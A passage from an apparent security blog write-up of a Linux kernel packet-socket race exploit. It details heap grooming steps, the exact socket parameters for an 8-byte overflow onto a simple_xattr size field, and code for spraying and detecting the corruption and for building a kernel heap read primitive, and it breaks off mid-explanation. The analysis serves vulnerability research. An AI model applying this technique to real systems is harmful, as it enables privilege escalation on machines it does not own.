data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7285f603-2fc4-4131-ac1d-52f2444bf87e_2224x1422.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:931,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:367575,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.calif.io/i/189789999?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7285f603-2fc4-4131-ac1d-52f2444bf87e_2224x1422.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!CIRL!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7285f603-2fc4-4131-ac1d-52f2444bf87e_2224x1422.png 424w, https://substackcdn.com/image/fetch/$s_!CIRL!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7285f603-2fc4-4131-ac1d-52f2444bf87e_2224x1422.png 848w, https://substackcdn.com/image/fetch/$s_!CIRL!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7285f603-2fc4-4131-ac1d-52f2444bf87e_2224x1422.png 1272w, https://substackcdn.com/image/fetch/$s_!CIRL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7285f603-2fc4-4131-ac1d-52f2444bf87e_2224x1422.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Before reclamation, the stale pointer would find NULLs and the kernel would crash. After reclamation it finds valid pointers &#8212; but to <strong>smaller</strong> 16 KB blocks instead of the original 32 KB blocks. This size mismatch is what enables the overflow: the stale kblk_size = 32768 makes tpacket_rcv() believe each block is 32 KB, but the actual blocks are only 16 KB, so writes beyond 16 KB spill into adjacent memory.</p><h4>Part 2: Heap grooming for page layout</h4><p>The exploit needs to achieve two things through heap grooming:</p><ol><li><p><strong>Force tpacket_rcv() to advance past block 0 to block 1.</strong> Block 0&#8217;s stale nxt_offset points into the old freed 32KB page &#8212; writing there would be uncontrolled. Block 1 gets a fresh nxt_offset via prb_open_block() that points into an actual reclaimed page.</p></li><li><p><strong>Ensure block 1 of the reclamation ring is physically adjacent to a simple_xattr.</strong> The overflow from block 1 must spill into a victim object, not into random memory.</p></li></ol><p>To force the block 1 path, the exploit needs curr &gt; end in __packet_lookup_frame_in_block(). This means the stale nxt_offset (from old block 0) must be at a <strong>higher</strong> address than new_block_0 + 32768. To ensure adjacency, the reclamation ring&#8217;s blocks must land in a region densely packed with simple_xattr objects. The exploit achieves both through a carefully staged allocation sequence:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;6c7bdbde-9a1d-4bd2-babc-f222a79cfebb&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">Phase 1: Drain the page allocator
&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;
Step 1: Allocate 1024 &#215; 16KB pages (drains order-2 freelist)
Step 2: Allocate 1024 &#215; 32KB pages (drains order-3 freelist)      &#8592; "drain batch 1"
Step 3: Allocate 512 &#215; 32KB pages (more order-3 drain)            &#8592; "drain batch 2"

After draining, the order-2 and order-3 freelists are empty.
Any new allocation at these sizes must come from splitting higher-order pages.

Phase 2: Allocate the victim ring buffer
&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;
Step 4: Configure victim socket &#8594; RX ring allocates 2 &#215; 32KB blocks (order-3)

Since the order-3 freelist is empty, these blocks come from splitting
order-4 or higher pages &#8594; they land at HIGH virtual addresses.

Phase 3: Build the simple_xattr spray region
&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;
Step 5: Free drain batch 1 (1024 &#215; 32KB order-3 pages)

These pages return to the order-3 freelist at LOWER addresses
than the victim's blocks (they were allocated earlier, before draining
pushed the allocator to higher-order pages).

Step 6: Spray 2048 simple_xattr objects (each with 8KB value &#8594; order-2 page)

The order-2 freelist is still empty (drained in step 1, never freed).
So the buddy allocator splits the just-freed order-3 pages from step 5:
each 32KB page becomes two 16KB halves. The simple_xattr values fill
these halves, creating a dense region of order-2 pages at LOW addresses.

Step 7: Free sparse holes &#8212; every 128th xattr starting from index 512

    for (i = 512; i &lt; 2048; i += 128)
        removexattr(simple_xattr_requests[i]);

This frees ~12 order-2 pages scattered among the simple_xattr objects,
returning them to the order-2 freelist. These holes are the landing
slots for the reclamation ring's blocks.

Phase 4: Trigger the race and reclaim
&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;
Step 8: Win the race &#8594; packet_set_ring() frees the old ring buffer

The victim's 2 &#215; 32KB blocks are freed back to the order-3 freelist.
They are at HIGH addresses. The pgv array (16 bytes) is freed to slab.

Step 9: pg_vec_buffer_thread immediately reclaims:
    alloc_pages(reclaim_socket, MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_KMALLOC_16, PAGES_ORDER2_SIZE)

This allocates a new ring with 2 &#215; 16KB blocks. The allocator needs
order-2 pages. The order-2 freelist has the sparse holes from step 7
(exact-size matches), so it serves from those FIRST &#8212; before considering
splitting the victim's freed order-3 pages. The reclamation blocks
land in the holes among the simple_xattr objects, at LOW addresses,
surrounded by simple_xattr objects on both sides.</code></pre></div><p>The result is this memory layout:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ppH3!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc611b211-4b3e-4738-8372-87202e6cf0a7_2948x730.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ppH3!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc611b211-4b3e-4738-8372-87202e6cf0a7_2948x730.png 424w, https://substackcdn.com/image/fetch/$s_!ppH3!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc611b211-4b3e-4738-8372-87202e6cf0a7_2948x730.png 848w, https://substackcdn.com/image/fetch/$s_!ppH3!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc611b211-4b3e-4738-8372-87202e6cf0a7_2948x730.png 1272w, https://substackcdn.com/image/fetch/$s_!ppH3!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc611b211-4b3e-4738-8372-87202e6cf0a7_2948x730.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ppH3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc611b211-4b3e-4738-8372-87202e6cf0a7_2948x730.png" width="1456" height="361" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c611b211-4b3e-4738-8372-87202e6cf0a7_2948x730.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:361,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:195361,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.calif.io/i/189789999?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc611b211-4b3e-4738-8372-87202e6cf0a7_2948x730.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ppH3!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc611b211-4b3e-4738-8372-87202e6cf0a7_2948x730.png 424w, https://substackcdn.com/image/fetch/$s_!ppH3!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc611b211-4b3e-4738-8372-87202e6cf0a7_2948x730.png 848w, https://substackcdn.com/image/fetch/$s_!ppH3!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc611b211-4b3e-4738-8372-87202e6cf0a7_2948x730.png 1272w, https://substackcdn.com/image/fetch/$s_!ppH3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc611b211-4b3e-4738-8372-87202e6cf0a7_2948x730.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p><strong>Why block 0 can&#8217;t work, even if it were reclaimed.</strong> One might ask: couldn&#8217;t the victim&#8217;s freed order-3 blocks be buddy-split into order-2 halves, with one half adjacent to a simple_xattr? The answer is no &#8212; those blocks are at high addresses, far from the simple_xattr spray region. Even if the buddy allocator did split them, the two halves would be adjacent to <em>each other</em> (they&#8217;re buddy pairs), not to any simple_xattr. The exploit has no control over what&#8217;s physically next to the victim&#8217;s old pages.</p><p>By contrast, the reclamation blocks land in the carefully prepared holes among the simple_xattr spray, where adjacency is guaranteed. But the stale nxt_offset for block 0 still points to the victim&#8217;s old high-address region, not into these holes. So the exploit must force advancement to block 1.</p><p><strong>The stale metadata.</strong> The TPACKET_V3 metadata (prb_bdqc) in the victim socket is <strong>not updated</strong> during the free &#8212; it still contains stale values from the original 32 KB ring:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;f361d73e-1411-4379-bd3f-b12ab00162f1&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">pkc-&gt;pkbdq         &#8594; old pgv array address (now reclaimed with new pgv)
pkc-&gt;kblk_size     &#8594; 32768 (32 KB &#8212; the OLD block size)
pkc-&gt;knum_blocks   &#8594; 2
pkc-&gt;blk_sizeof_priv &#8594; 16248
pkc-&gt;kactive_blk_num &#8594; 0
pkc-&gt;nxt_offset    &#8594; old_block_0 + 16296 (HIGH address &#8212; stale)</code></pre></div><p>When tpacket_rcv() accesses the ring buffer through __packet_lookup_frame_in_block():</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;21a913d4-a550-4da9-8fc6-fdc6ebe1f883&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">pkc = &amp;po-&gt;rx_ring.prb_bdqc;
pbd = pkc-&gt;pkbdq[pkc-&gt;kactive_blk_num].buffer;  // reads reclaimed pgv[0].buffer
                                                   // = new 16KB block (LOW address, in xattr region)
curr = pkc-&gt;nxt_offset;    // old_block_0 + 16296 (HIGH address &#8212; stale)
end = (char *)pbd + pkc-&gt;kblk_size;   // new_block_0 + 32768 (still LOW)

if (curr + ALIGN(len, 8) &lt; end) {
    // packet fits in current block &#8212; write here
} else {
    prb_retire_current_block(pkc, po, 0);         // retire new_block_0
    curr = prb_dispatch_next_block(pkc, po);      // advance to new_block_1
    // ... write to new_block_1
}</code></pre></div><p>Since curr (high address) &gt; end (low address + 32KB), the &#8220;doesn&#8217;t fit&#8221; branch is always taken, and tpacket_rcv() advances to block 1 &#8212; which is in the groomed region, adjacent to a simple_xattr.</p><h4>Part 3: The precision overflow</h4><p>When tpacket_rcv() takes the &#8220;doesn&#8217;t fit&#8221; path, it calls prb_retire_current_block() then prb_dispatch_next_block(), which advances to block 1 and calls prb_open_block():</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;a1b03f99-29f5-4e2c-a072-4c72e3887b1e&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">static void prb_open_block(struct tpacket_kbdq_core *pkc,
    struct tpacket_block_desc *pbd)
{
    pkc-&gt;pkblk_start = (char *)pbd;   // start of reclaimed block 1 (16 KB)
    pkc-&gt;nxt_offset = pkc-&gt;pkblk_start + BLK_PLUS_PRIV(pkc-&gt;blk_sizeof_priv);
    pkc-&gt;pkblk_end = pkc-&gt;pkblk_start + pkc-&gt;kblk_size;  // + 32KB (stale!)
}</code></pre></div><p>The key computation: BLK_PLUS_PRIV(blk_sizeof_priv) = BLK_HDR_LEN + ALIGN(blk_sizeof_priv, 8) where BLK_HDR_LEN = ALIGN(sizeof(struct tpacket_block_desc), 8) = 48. With blk_sizeof_priv = 16248:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;d24e8c9c-cf23-4771-9ffb-423b4b58c878&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">nxt_offset = reclaimed_block_1 + 48 + 16248 = reclaimed_block_1 + 16296</code></pre></div><p>The actual block size is 16,384 bytes (16 KB = 4 pages). So nxt_offset is positioned <strong>88 bytes before the end</strong> of the actual block. But pkblk_end is computed using the stale kblk_size = 32768, placing it 16 KB past the real end &#8212; so tpacket_rcv() believes there&#8217;s plenty of room.</p><p>Back in tpacket_rcv(), the function returns h.raw = nxt_offset and proceeds to write at several offsets from h.raw:</p><p><strong>Non-controlled writes</strong> (kernel-generated headers):</p><ul><li><p>At h.raw + 0: the tpacket3_hdr structure (44 bytes of status, timestamps, lengths)</p></li><li><p>At h.raw + 48: the sockaddr_ll structure (~20 bytes of link-layer address info)</p></li></ul><p>These occupy offsets 0 through ~67 from h.raw, fitting within the 88 remaining bytes. <strong>They stay inside the block.</strong></p><p><strong>Controlled write</strong> (attacker&#8217;s packet data):</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;24e81ca7-7c18-4392-b485-8901fece6daa&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">skb_copy_bits(skb, 0, h.raw + macoff, snaplen);</code></pre></div><p>Where macoff is calculated as:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;338f1605-94b6-4ae3-9815-d00fa2d46c95&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">macoff = netoff - maclen;
netoff = TPACKET_ALIGN(po-&gt;tp_hdrlen + max(maclen, 16)) + po-&gt;tp_reserve;</code></pre></div><p>The exploit controls two knobs in this calculation to land the write at an exact byte offset:</p><ul><li><p><strong>tp_sizeof_priv</strong> (set via setsockopt(PACKET_RX_RING)) &#8212; controls where nxt_offset starts within the block. This is the coarse knob: the kernel rounds it up to 8 bytes (ALIGN(blk_sizeof_priv, 8)), so it can only position nxt_offset at 8-byte increments.</p></li><li><p><strong>tp_reserve</strong> (set via setsockopt(PACKET_RESERVE)) &#8212; adds padding between the TPACKET header and the packet data. This is the fine knob: it&#8217;s added without any rounding, giving byte-level precision.</p></li></ul><p>Together they work like a vernier caliper. The exploit uses tp_sizeof_priv = 16248 and tp_reserve = 38, but any pair where ALIGN(tp_sizeof_priv, 8) + tp_reserve = 16286 works (e.g., 16280 + 6).</p><p>The write position within a block is nxt_offset + macoff:</p><ul><li><p>nxt_offset = 48 + ALIGN(tp_sizeof_priv, 8) = 48 + 16248 = 16296</p></li><li><p>macoff = netoff - maclen, where netoff = TPACKET_ALIGN(tp_hdrlen + 16) + tp_reserve = TPACKET_ALIGN(68 + 16) + 38 = 96 + 38 = 134, and maclen = 14 (ETH_HLEN), so macoff = 120</p></li><li><p>write position = 16296 + 120 = 16416 = 16384 + 32</p></li></ul><p>The block is only 16,384 bytes, so the write lands <strong>32 bytes past the block boundary</strong> into the adjacent page. The BPF filter truncates snaplen to sizeof(size_t) = 8 bytes, so the exploit writes exactly <strong>8 bytes</strong> at that offset.</p><p>The following diagram shows the full structure from the packet socket down to the per-block memory layout, including both positioning knobs (blk_sizeof_priv and tp_reserve):</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!OykP!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8bdebd30-e6fd-44a5-9210-200331bfcd15_2818x1394.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!OykP!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8bdebd30-e6fd-44a5-9210-200331bfcd15_2818x1394.png 424w, https://substackcdn.com/image/fetch/$s_!OykP!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8bdebd30-e6fd-44a5-9210-200331bfcd15_2818x1394.png 848w, https://substackcdn.com/image/fetch/$s_!OykP!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8bdebd30-e6fd-44a5-9210-200331bfcd15_2818x1394.png 1272w, https://substackcdn.com/image/fetch/$s_!OykP!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8bdebd30-e6fd-44a5-9210-200331bfcd15_2818x1394.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!OykP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8bdebd30-e6fd-44a5-9210-200331bfcd15_2818x1394.png" width="1456" height="720" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8bdebd30-e6fd-44a5-9210-200331bfcd15_2818x1394.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:720,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:400138,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.calif.io/i/189789999?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8bdebd30-e6fd-44a5-9210-200331bfcd15_2818x1394.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!OykP!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8bdebd30-e6fd-44a5-9210-200331bfcd15_2818x1394.png 424w, https://substackcdn.com/image/fetch/$s_!OykP!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8bdebd30-e6fd-44a5-9210-200331bfcd15_2818x1394.png 848w, https://substackcdn.com/image/fetch/$s_!OykP!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8bdebd30-e6fd-44a5-9210-200331bfcd15_2818x1394.png 1272w, https://substackcdn.com/image/fetch/$s_!OykP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8bdebd30-e6fd-44a5-9210-200331bfcd15_2818x1394.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h4>What lives at the overflow offset?</h4><p>The exploit sprays 2,048 simple_xattr kernel objects adjacent to the reclamation blocks. Each xattr is allocated with value_size = 8192, making the total allocation (header + 8,192 bytes) served from order-2 pages (16 KB).</p><p><strong>The overflow lands exactly on the size field</strong> of the adjacent simple_xattr. This is not a coincidence &#8212; tp_sizeof_priv (16,248) positions nxt_offset at 16,296, and tp_reserve (38) is chosen so that nxt_offset + macoff = 16,416 = 16,384 + 32, landing precisely at the size field&#8217;s offset within the simple_xattr struct.</p><p>The packet data is crafted with XATTR_SIZE_MAX (65,536) as the first 8 bytes:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;a2040367-5941-46a4-8e34-87e9554c9ff7&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">u8 packet_data[128] = {};
*(size_t *)(packet_data) = XATTR_SIZE_MAX;  // 65536</code></pre></div><p>After the overflow, one of the 2,048 simple_xattr objects has its size field changed from 8,192 to 65,536.</p><h4>Creating the holes for adjacency</h4><p>The simple_xattr spray is arranged to maximize the probability that one ends up immediately after reclamation block 1:</p><p>Step 5: Free drain_pages_order3_1 &#8212; returns 1024 &#215; 32KB pages to the freelist</p><p>Step 6: Spray 2,048 simple_xattr objects &#8212; each needs 16KB (order-2) pages</p><p>Since the order-2 freelist was drained in step 1, the buddy allocator <strong>splits</strong> the freed order-3 pages: each 32 KB page becomes two 16 KB halves. The spray consumes these halves, filling the address range previously occupied by drain_pages_order3_1.</p><p>Before triggering the race, the exploit frees some xattrs at regular intervals to create holes:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;1cfef30d-92dc-4c4c-a89b-ce5b07bcea8d&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">for (int i = 512; i &lt; 2048; i += 128) {
    removexattr(filepath, name_i);  // creates a 16KB hole every 128 objects
}</code></pre></div><p>The reclamation ring&#8217;s block 1 (16 KB) lands in one of these holes. Since the holes are periodic and the surrounding slots are occupied by simple_xattr objects, the page immediately after block 1 is very likely to contain a simple_xattr.</p><h4>Detecting the corruption</h4><p>The exploit scans all sprayed xattrs to find the corrupted one:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:&quot;1b5edaab-2869-4f7c-a755-147f63bbfe2a&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">for (int i = 0; i &lt; 2048; i++) {
    ssize_t ret = getxattr(filepath, name_i, value, 8192);
    if (ret &lt; 0 &amp;&amp; errno == ERANGE) {
        // Found it! size was changed from 8192 to 65536
        overflowed_xattr = i;
    }
}</code></pre></div><p>Normally, getxattr() with a buffer of 8,192 bytes succeeds because xattr-&gt;size == 8192. But for the corrupted xattr, xattr-&gt;size == 65536 &gt; 8192, so the kernel returns ERANGE (&#8221;buffer too small&#8221;). This is the signal.</p><h4>Building the heap read primitive</h4><p>Now the exploit has a <strong>heap read primitive</strong>: calling getxattr() with a 65,536-byte buffer on the corrupted xattr reads 65,536 bytes starting from the xattr&#8217;s value field. Since the xattr&#8217;s actual data is only 8,192 bytes but the kernel thinks size is 65,536, it copies 65,536 bytes &#8212; leaking ~57 KB of adjacent kernel heap memory.</p><p>The exploit uses this to find another simple_xattr in the leaked data, identifying it by pattern-matching the rb_node pointers (must be valid kernel addresses or NULL), the name pointer (must be a kernel address), the size field (must equal 8,192), and the value content (must match the known spray pattern like &#8220;pages_order2_groom_42&#8221;). This second xattr is called leaked_content_simple_xattr.</p><p>Next, the exploit <strong>removes all other xattrs</strong> &#8212; it loops through all 2,048 sprayed entries and calls removexattr() on every one except the corrupted xattr and the leaked one. This reduces the inode&#8217;s red-black tree from ~2,048 nodes to exactly <strong>two</strong>. In a two-node tree, one node is the root and the other is its child &#8212; so the leaked xattr&#8217;s rb_node pointers (parent, left, right) <strong>must</strong> reference the corrupted xattr, since there is no other node they could point to. With 2,048 nodes, the leaked xattr&#8217;s tree neighbors could be any of the other sprayed xattrs, and finding the corrupted one among them would be unreliable. The cleanup step eliminates this ambiguity.</p><p>Now the exploit calls getxattr() a second time on the corrupted xattr with a 65,536-byte buffer. This works the same way as the first read: the kernel copies 65,536 bytes starting from the corrupted xattr&#8217;s value[] field, spilling past its actual 8,192 bytes of data into adjacent heap memory. The leaked xattr lives on a nearby order-2 page (the first read already identified which page offset it sits at), so its rb_node pointers appear at a known position within the 65KB dump.</p><p>The key difference from the first read: the tree has been pruned to two nodes. The kernel reorganized the red-black tree as it removed the other ~2,046 xattrs, updating the remaining 